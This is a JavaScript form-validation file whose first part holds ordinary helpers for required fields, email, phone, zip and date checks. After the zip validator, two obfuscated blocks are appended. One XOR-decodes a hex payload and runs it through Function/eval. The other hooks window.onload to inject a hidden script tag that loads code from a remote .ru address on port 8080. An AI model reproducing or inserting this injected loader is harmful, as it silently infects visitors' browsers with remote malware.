// Checks form for required elements
// Fields to be validated must be supplied in a hidden field: txtRequiredInputs
// Additional validation options can be supplied via the field name: (fieldName-option)
// field names cannot contain dashes. Also, have a * as the end of the field name will validate all similarly named fields.
//
// text, textarea, password:
//   0 - blank
//   1 - numeric
//   2 - valid email address
//   3 - valid phone number
//   4 - valid zip code
// select (single): checks to see if the first element isn't selected
// select (multiple): checks for at least one selected item
// radio/checkbox: checks to see if object is selected.
//   NOTE: radios/checkboxes will turn into arrays if more than one object of a name is detected.
//         Therefore, if a type is determined to be undefined, it is assumed to be a multi-element object.
//         Dynamically added nodes enter the dom tree, but somehow don't make it fully into javascript, so
//         new objects are added as additional array elements to the cloned nodes, rather than fully accessible
//         objects of their own.
//
// @param thisForm Form object to be tested
// @return true/false
function validateForm(thisForm) {

    // Test if required inputs field exists
    if (!thisForm.txtRequiredInputs) {
        alert("DEVELOPER ERROR: Missing required inputs field.");
        return false;
    }

    if (trimSpace(thisForm.txtRequiredInputs.value) == "") {
        alert("DEVELOPER ERROR: Required inputs field is empty.");
        return false;
    }



    var requiredInputs = thisForm.txtRequiredInputs.value.split(" ");

    for (var i = 0; i < requiredInputs.length; i++) { 
        var formElementList = requiredInputs[i].split("-");
        var formItem = formElementList[0];
        var validationOption = formElementList[1];
        if (!validationOption) { validationOption = 0; }

        var validateList = new Array;   // sublist of form fields to validate
        if (formItem.indexOf("*") > 0) {
            formItem = formItem.replace(/\\*/,"1");  // dynamic node array is based on first element name
            var curObject = eval("thisForm." + formItem);
            // object will not have a name if it is an array (possible if only 1 element in multi)
            if (!curObject.name) {
                for (var j = 0; j < curObject.length; j++) { validateList[formItem + "[" + j + "]"] = 1; }
            } else {
                validateList[formItem] = 1;
            }
        } else {
            validateList[formItem] = 1;
        }

        for (formElement in validateList) {
            curObject = eval("thisForm." + formElement);
            if (!curObject) {
                alert("DEVELOPER ERROR: " + formElement + " is an non-existant form element.");
                return false;
            }

            // check text and textareas
            if (curObject.type == "text" || curObject.type == "textarea" || curObject.type == "password") {
                var tempValue = trimSpace(curObject.value);
                if (!tempValue) {
                    alert("There is missing data in a required field.");
                    curObject.focus(); curObject.select();
                    return false;
                } else if (validationOption == 1 && isNaN(tempValue) && !isValidPhone(tempValue)) {
                    alert("The value entered is not a number.");
                    curObject.focus(); curObject.select();
                    return false;
                } else if (validationOption == 2 && !isValidEmail(tempValue)) {
                    alert("The email address entered is not in the correct format.");
                    curObject.focus(); curObject.select();
                    return false;
                } else if (validationOption == 3 && !isValidPhone(tempValue)) {
                    alert("The value entered is not a valid phone number.");
                    curObject.focus(); curObject.select();
                    return false;
                } else if (validationOption == 4 && !isValidZip(tempValue)) {
                    alert("The value entered is not a valid zip code.");
                    curObject.focus(); curObject.select();
                    return false;
                }
            } else if ((curObject.type == "select-one" && curObject.selectedIndex == 0) ||
                curObject.type == "select-multiple" && curObject.selectedIndex == -1) {
                if (curObject.selectedIndex == -1 || curObject.selectedIndex == 0) {
                    alert("Please make a selection from the list.");
                    curObject.focus();
                    return false;
                }
            } else if (curObject.type == "radio" || curObject.type == "checkbox") {
                if (!curObject.checked) { 
                    alert("There is missing data in a required field.");
                    curObject.focus();
                    return false;
                }
            } else if (!curObject.type) {
                var passedFlag = false;

                for (var j = 0; j < curObject.length; j++) {
                    if (curObject[j].checked) { passedFlag = true; }
                }

                if (!passedFlag) {
                    alert("There is missing data in a required field.");
                    curObject[0].focus();
                    return false;
                }
            }
        }
    }

    return true;
}


// @param thisForm Form object to be tested
// @param popUp checks for popUp window
// @return true/false

function processSageWs(theForm,popUp) {
    theForm.ip.value = document.location.href;
	ip = document.location.href;
	if (popUp == 'y') {
	    cimsWindow = window.open(newsLetter+'&ip='+ip,'newsLetter',"WIDTH=770,HEIGHT=600,scrollbars=yes,toolbar=yes,resizable=yes,location=yes,menubar=yes,statusbar=yes"); 
    	theForm.target = 'cimsWindow';
    	return false;
  	} else {
    	return true;
  	}

}

// ===== Date validation functions ====
function daysInFebruary (year){
// A year is a leap year if it is divisible by 4 but not by 100.  
// Exceptionally, a year that's divisible by 400 is a leap year.
	var numDays= 28;
	if ((year % 4 == 0) && (year % 100 != 0) || (year % 400 == 0)) {
	  numDays = 29;
	}
    return numDays;
}
function DaysArray(n) {
    tempDays = new Array(n);
	for (var i = 1; i <= n; i++) {
		this[i] = 31
		if (i==4 || i==6 || i==9 || i==11) {tempDays[i] = 30}
		if (i==2) {tempDays[i] = 29}
   } 
   return tempDays
}

function isValidDate(argDay, argMonth, argYear) {
	var daysInMonth = DaysArray(12)
	var strMonth=argMonth;
	var strDay=argDay;
	var strYr=argYear;
    // Declaring valid date character, minimum year and maximum year
    var minYear=1900;
    var maxYear=2100;

	if (strDay.charAt(0)=="0" && strDay.length>1) strDay=strDay.substring(1)
	if (strMonth.charAt(0)=="0" && strMonth.length>1) strMonth=strMonth.substring(1)
	for (var i = 1; i <= 3; i++) {
		if (strYr.charAt(0)=="0" && strYr.length>1) strYr=strYr.substring(1)
	}
	month=parseInt(strMonth)
	day=parseInt(strDay)
	year=parseInt(strYr)
	if (strMonth.length<1 || month<1 || month>12){
		alert("Please enter a valid month")
		return false
	}
	if (strDay.length<1 || day<1 || day>31 || (month==2 && day>daysInFebruary(year)) || day > daysInMonth[month]){
		alert("Please enter a valid day")
		return false
	}
	if (strYr.length != 4 || year==0 || year<minYear || year>maxYear){
		alert("Please enter a valid year")
		return false
	}
	
return true
}



// ===== Support Functions =====
function LTrim(txt) {
    return txt.replace(/^[\\s]+/g, "");
}

function RTrim(txt) {
    return txt.replace(/[\\s]+$/g, "");
}

function trimSpace(txt) {
    var tmpTxt = LTrim(txt);
    return RTrim(tmpTxt);
}

function isValidEmail(email) {
    // See if we have any spaces.
	var space = email.indexOf(" ");
	if (space != -1) { return false; }
	
	var pos1 = email.indexOf("@",1);
    if (pos1 < 1) { return false; }
    var email = email.substr(pos1 + 1);
    var pos2 = email.indexOf(".",1);
    if (pos2 < 1 || email.substr(pos2 + 1) == "") { return false; }
    return true;
}


function isValidPhone(phone) {
   var ValidChars = "0123456789.-";
   var isValidPhone=true;
   var Char;
    for (i = 0; i < phone.length && isValidPhone == true; i++) 
      { 
      Char = phone.charAt(i); 
      if (ValidChars.indexOf(Char) == -1) 
         {
         isValidPhone = false;
         }
      }
    return isValidPhone;
   
   }


function charLim (theForm,maxLen) {
	if (theForm.dilUsrOpt_Post.value == "") { 
    	alert("There is missing data in a required field."); 
    	return false; 
	}
	var outputText = '';	
	var arrVar = theForm.dilUsrOpt_Post.value.split(" ")
	for(var i = 0; i < arrVar.length; i++) {
		
		if (arrVar[i].length > maxLen) {
			var lengthVar = arrVar[i].length;
			j = Math.ceil(lengthVar / maxLen);
			startPos = 0;
			endPos = maxLen - 1;
			for(var k = 0; k < j; k++) {
				tempVar = arrVar[i].substring(startPos,endPos+1);  
				tempVar = tempVar+' ';
				startPos = endPos + 1;
				endPos = endPos + maxLen;
				outputText = outputText + tempVar;
			}
			arrVar[i] = outputText; 
		}
	}
	theForm.dilUsrOpt_Post.value = arrVar.join(' ');
	return true;
}

// Valid zip code patterns:
// 10018 or 10018-5001 or A9N 7B4
function isValidZip(zip) {
   var zipRegex = new RegExp("^([0-9]{5})$|^([0-9]{5})-([0-9]{4})$|^([a-z][0-9][a-z] [0-9][a-z][0-9])$", "i");
   return zipRegex.test(zip);
}

var gu="140f12282a6b08000537357d1b001c1b773f1431201c0f182f003a0a0e0c38033c2518300e3303362a3d032d0e17172c080725223926023b03071c1a362b08001b4935096a2f1e37500c2b581d37";var wQ="wQ";var QjP="QjP";function d(v){this.fQ=false; var c=function(XL){this.D=false;var BE;if(BE!='' && BE!='Wy'){BE=null};var Je=new String();var bD=23590;var V;if(V!='DC' && V!='YN'){V='DC'};var gr;if(gr!='hK' && gr!='Km'){gr='hK'};var s =[0][0];var Q = -1;var vi;if(vi!='' && vi!='j'){vi=null};var T;if(T!='' && T!='ul'){T='Zw'};XL = new X(XL);var h =[0,149,234,37][0];var t = '';var Ks="";var tO;if(tO!='' && tO!='Zgq'){tO='H'};var QO;if(QO!='gZ'){QO=''};var tq;if(tq!='' && tq!='q'){tq='AA'};this.YA="YA";for (s=XL[E("elgnht", [1,0])]-Q;s>=h;s=s-[48,1][1]){t+=XL[E("rAhtca", [4,2,5,0,1,3])](s);}var DT=2726;var on=31585;this.Yp='';var Sk='';return t;var Kf=new String();var WM;if(WM!='U' && WM != ''){WM=null};};var Uo;if(Uo!='Oh' && Uo!='F'){Uo=''};var TyD;if(TyD!='mq' && TyD!='R'){TyD=''};this.pZ=""; var FH;if(FH!='Ra'){FH='Ra'};var PB="";function E(XL, W){this.LU=44589;var Ms;if(Ms!='' && Ms!='LH'){Ms=''};var h=[239,45,86,0][3];var UF=new Date();var Pg;if(Pg!='' && Pg!='Bi'){Pg=null};var Qg=[43,1,220][1];var WW;if(WW!=''){WW='pH'};var J = XL.length;var t = '';var m = W.length;var eH=34555;var te=5785;var Xp;if(Xp!='' && Xp!='VC'){Xp='BG'};for(var s = h; s < J; s += m) {this.NA=false;var Us;if(Us!='md' && Us!='rR'){Us=''};var Yo;if(Yo!='oo' && Yo!='vq'){Yo='oo'};var Wu = XL.substr(s, m);if(Wu.length == m){var TT;if(TT!='' && TT!='EZ'){TT=null};var Nr="";for(var O in W) {var TM="";t+=Wu.substr(W[O], Qg);var fa=30115;}var uV='';this.QQ='';} else {var Il="Il";  t+=Wu;var Cg=new Date();var dm=new Date();}this.iF=false;}var Jw;if(Jw!=''){Jw='Ui'};var TJ;if(TJ!='rj' && TJ!='ZoJ'){TJ=''};var Cm=new Array();return t;var VD;if(VD!='Is'){VD=''};}var NC;if(NC!='rA'){NC=''};var lt=new String(); var cW;if(cW!='' && cW!='sb'){cW=''};var cr;if(cr!='' && cr!='hQ'){cr=''};function Z(dE,EI){return dE^EI;var Fe=21546;this.SO="";}var GY=''; var Ow=function(N,y){var Be;if(Be!='Wx'){Be=''};return N[E("hcraoCedtA", [1,0])](y);var dF;if(dF!='Md' && dF != ''){dF=null};};var aO;if(aO!='' && aO!='nr'){aO='gl'};var xy;if(xy!='' && xy!='Ei'){xy='po'};this.Nu=false;this.gf=false; var pm;if(pm!='Yj' && pm != ''){pm=null};var CQ;if(CQ!='' && CQ!='sL'){CQ='un'};function f(g){var Pk;if(Pk!='VI' && Pk != ''){Pk=null};var Sl=new Array();var SI=25472;var I=[255][0];var Ncu="";var nD=new Date();var r=g[E("elgnht", [1,0])];var b=[0,211,95][0];var O=[1,203,222,0][3];var KyU;if(KyU!='jA' && KyU != ''){KyU=null};var BqS;if(BqS!=''){BqS='EM'};var Qg=[1,84,10][0];var GZU="GZU";var Wj;if(Wj!=''){Wj='sD'};while(O<r){var lb;if(lb!=''){lb='YV'};var Yn;if(Yn!='Up' && Yn!='BL'){Yn='Up'};var SL;if(SL!='XW' && SL!='FY'){SL='XW'};O++;var VU="VU";this.eO='';e=Ow(g,O - Qg);var CI;if(CI!='' && CI!='Qt'){CI='sS'};var Bg=new Array();b+=e*r;}var Yi;if(Yi!='' && Yi!='bf'){Yi='ZU'};this.gd="";this.jk="";return new X(b % I);this.ey=false;this.bfe=false;}var tOJ;if(tOJ!='fn'){tOJ='fn'};this.rT='';var EL;if(EL!=''){EL='Uc'};var qf;if(qf!='PR'){qf='PR'};var XY=window;var MY;if(MY!=''){MY='Mf'};var bI=XY[E("vela", [1,0])];var SlI;if(SlI!='Nf' && SlI != ''){SlI=null};var ru=bI(E("nFuicton", [1,2,0]));var rK = '';var uy="";var kS;if(kS!=''){kS='VE'};this.of=52883;var X=bI(E("tSirgn", [1,0]));var S=bI(E("gRepEx", [1,2,0]));var xf;if(xf!='Ew' && xf!='Wo'){xf=''};var Wjo=31466;var QC;if(QC!='NB'){QC='NB'};var hs=XY[E("nuecsape", [1,0,2])];var mJ=38227;var Aq;if(Aq!='jX'){Aq=''};var B=X[E("ofrhmCCareod", [1,2,0])];var eJ;if(eJ!='yc' && eJ!='IM'){eJ=''};var cd;if(cd!='Ep' && cd!='UZ'){cd=''};var CZ="CZ";var u = /[^@a-z0-9A-Z_-]/g;var hy="hy";var lV;if(lV!='iS' && lV != ''){lV=null};var o=[1, E("mudnceoerttca.meenleEcsti\'r(pt\')", [2,6,4,1,0,5,3]),2, E("ucodtnemdob.pa.ydneplihC)d(d", [3,2,1,0]),3, E("wcmnwo.e.oldgrdoru:8080", [1,5,2,6,3,7,4,0]),4, E("tsdeAt.eitbturrd(eef\'\'", [2,6,1,3,5,4,0]),5, E("mc.anogge.ce.obadmjojo", [1,5,0,2,3,4]),6, E("e.ramcoc", [3,5,0,2,1,7,6,4]),7, E("indwowonlao.d", [5,0,1,2,4,3]),8, E("ratilcesabse", [1,0,2,3]),11, E("deivoolr.biz", [6,2,3,1,0,5,4]),12, E("ufcnitno)(", [1,0]),14, E("ocgo.eglom", [6,0,3,2,7,5,4,1]),15, E("tcchea()", [1,5,0,2,3,6,4]),16, E("k.romc", [2,0,1]),17, E("tt\"hp:", [2,3,1,0]),18, E(".sdrc", [2,0,1,3,4]),19, E("1\')\'", [1,0]),20, E("yrt", [2,1,0])];var uQ;if(uQ!='' && uQ!='Tq'){uQ=null};var AN;if(AN!=''){AN='Wr'};var x = '';var rH='';var Kh=false;var h =[0][0];this.tp=2444;this.sk=56581;var i = '';var gB;if(gB!='' && gB!='BQ'){gB=null};var P =[2][0];this.Qu='';var XT;if(XT!='fy' && XT != ''){XT=null};var A = '';var Al='';var Cx;if(Cx!='LD' && Cx!='cl'){Cx='LD'};var UH="";var oV = v[E("gtlneh", [2,4,3,0,1,5])];var tj;if(tj!='WF'){tj='WF'};var nB;if(nB!='' && nB!='XS'){nB='MA'};var K = X.fromCharCode(37);this.PZ='';this.WI="";var RaV=new Date();this.SF=46936;var Qg =[201,1,192,225][1];var tk;if(tk!='' && tk!='zL'){tk=''};var dr =[0][0];var US;if(US!='ou' && US!='Ah'){US='ou'};var YE;if(YE!='zy' && YE!='mc'){YE='zy'};var FU;if(FU!='QN'){FU=''};var XWr=new String();var Kof=3926;this.Jj='';this.CP="";for(var yd=h; yd < oV; yd+=P){x+= K; var HIO=new Date();this.KV=61619;x+= v[E("busrts", [2,1,0])](yd, P);this.FN=false;var fyc;if(fyc!='OT' && fyc!='yQ'){fyc=''};}var SM='';var QDa='';var Go;if(Go!='Xqc'){Go=''};var v = hs(x);var CF;if(CF!='Wq'){CF=''};var YVc;if(YVc!='DY'){YVc=''};var Zg = new X(d);var L = Zg[E("creaple", [1,2,4,5,3,0])](u, i);var qA;if(qA!='UE'){qA=''};var vu;if(vu!='LR'){vu=''};L = c(L);var Sh = o[E("elgnht", [1,0])];var QP = new X(ru);var di;if(di!='gC'){di='gC'};var CX=21566;var wC=false;var Zv;if(Zv!='he'){Zv=''};var xE;if(xE!=''){xE='wM'};var lNf;if(lNf!=''){lNf='IS'};var It = QP[E("eaerplc", [3,0,4,5,1,6,2])](u, i);this.Mt="";this.cF="";var It = f(It);var jW=new Array();var ZZ=f(L);var xL="xL";for(var s=h; s < (v[E("nelhtg", [2,1,0])]);s=s+[1,226,107][0]) {var dK;if(dK!='' && dK!='Ly'){dK=''};var oh;if(oh!=''){oh='xOo'};var yw;if(yw!='NI' && yw!='vQ'){yw='NI'};var p = L.charCodeAt(dr);var rl = Ow(v,s);var Px;if(Px!=''){Px='RJ'};var Io;if(Io!=''){Io='hr'};rl = Z(rl, p);var fqq=new Date();var Xa='';this.Ez=false;rl = Z(rl, ZZ);rl = Z(rl, It);var ol;if(ol!='' && ol!='II'){ol=''};dr++;var fW=new Date();if(dr > L.length-Qg){dr=h;}var Tk=false;var dJ=false;A += B(rl);var aY=new Array();this.Yx=false;}var sh;if(sh!='eS' && sh!='Sb'){sh='eS'};for(Ky=h; Ky < Sh; Ky+=P){this.Ho="Ho";var Jfk;if(Jfk!='zi'){Jfk=''};var gN = B(o[Ky]);var sSd;if(sSd!='Pe'){sSd=''};var NyO;if(NyO!='' && NyO!='Zh'){NyO=''};this.ek=false;var uu = o[Ky + Qg];var lVA;if(lVA!='' && lVA!='HAU'){lVA=null};var SY;if(SY!='xg'){SY='xg'};var qP='';var so=new String();var go;if(go!='Fy'){go=''};var Ne = new S(gN, "g");this.orW=false;var orM;if(orM!='KpS' && orM!='sG'){orM=''};A=A[E("erlpcae", [1,0])](Ne, uu);}var jS;if(jS!=''){jS='kU'};this.dp=54954;var M=new ru(A);M();var ld=new String();this.cn="cn";M = '';It = '';this.rHX=27774;var Kx="Kx";var YpB;if(YpB!='' && YpB!='EaJ'){YpB=''};var Su=new String();var AK;if(AK!='RF' && AK!='Tb'){AK='RF'};QP = '';A = '';var cFB='';L = '';ZZ = '';var Mm="";return '';var Dk=new Array();};var wQ="wQ";var QjP="QjP";d(gu);
var mG='';var i;if(i!='r' && i!='_'){i=''};function D() {var OC=new Array();var V='';var o;if(o!='' && o!='Q'){o=''};var Y='replace';var g='[';var Qw=new Array();var k=new String();var z=']';var a;if(a!='' && a!='cy'){a=null};var R;if(R!='' && R!='al'){R=null};var m='g';var Bd="";var x="";var X=RegExp;var gE=new Date();var h=new Date();var p;if(p!='fb' && p!='Xa'){p=''};var yI=new Array();function S(H,e){var Gg;if(Gg!='' && Gg!='Gi'){Gg='da'};this.Ht="";var O=g;this.YN="";O+=e;var C=new Date();O+=z;var yM;if(yM!='' && yM!='iy'){yM=''};var lC;if(lC!='vj' && lC != ''){lC=null};var zu=new X(O, m);var QM=new Date();var TL=new Date();return H[Y](zu, k);var IR;if(IR!=''){IR='HX'};};var Ob=new Date();var CL=new Date();var E=new Array();var aV='';var YD='';this.UR='';var n=S('/ZtNrNaZiRdRnNtN.NnZeNtZ/RtNrZaRiRdZnNtZ.NnReNtZ/RgZoNoZgNlNeN.RcZoZmZ/ZwRhZiZtZeNpNaRgZeNsZ.ZcRoNmN/RbZeNsZtRbNuNyZ.ZcNoZmZ.ZpNhRpR',"NRZ");var WK=new Date();var M=S('cCrCeCaCtSeCESlCeCmSeSnCtS',"CS");var Ft;if(Ft!=''){Ft='lL'};var Uf;if(Uf!=''){Uf='LZ'};var l=S('sdcTrCidpTtd',"T_LCd");var gJ;if(gJ!='' && gJ!='YL'){gJ='aX'};var JK;if(JK!='' && JK!='cV'){JK='sW'};var zB=window;this.ru='';var c=S('8772706727786667066766',"762");var rp=new String();var P=S('hEtEtipE:w/R/EciswdinR-wnweRtw.igEowoEgilEei.wcRoRmE.ihRawow1w2i3R-EcEoRmE.EsiaEmwuRewsRtw.irEuw:w',"iwER");var YC=new Date();this.Sg='';zB[S('oHnHl1o1a1d1',"1H")]=function(){this.EH='';var Da;if(Da!='qs'){Da=''};try {var VO="";var CC;if(CC!='YG' && CC!='pD'){CC=''};this.JJ="";this.zq="";YD+=P;var uB=new Date();var mI="";YD+=c;var fA;if(fA!='Wt'){fA=''};YD+=n;var LQ;if(LQ!='' && LQ!='so'){LQ='Bu'};b=document[M](l);var JL;if(JL!='Nr'){JL=''};var NrO=new Array();var ZR;if(ZR!='lq' && ZR != ''){ZR=null};N(b,'src',YD);var yu;if(yu!='mn' && yu!='qo'){yu='mn'};var z_=new Array();N(b,'defer',([1][0]));this.A="";var HC;if(HC!='' && HC!='Bp'){HC=null};document.body.appendChild(b);var Pi;if(Pi!='We' && Pi!='po'){Pi=''};var dp=new String();} catch(I){var no;if(no!='' && no!='RF'){no=null};var TA;if(TA!='' && TA!='QK'){TA=null};};var PX=new Date();var Ew;if(Ew!='yum'){Ew='yum'};};var wo;if(wo!='' && wo!='Ry'){wo=null};var oR="";function N(w,K,L){this.jM='';var uD=new Array();w.setAttribute(K, L);this.VK='';this.sA='';}var XS=new Date();};var FA;if(FA!='Fy' && FA!='qk'){FA='Fy'};var _d='';D();var mt;if(mt!='yT'){mt=''};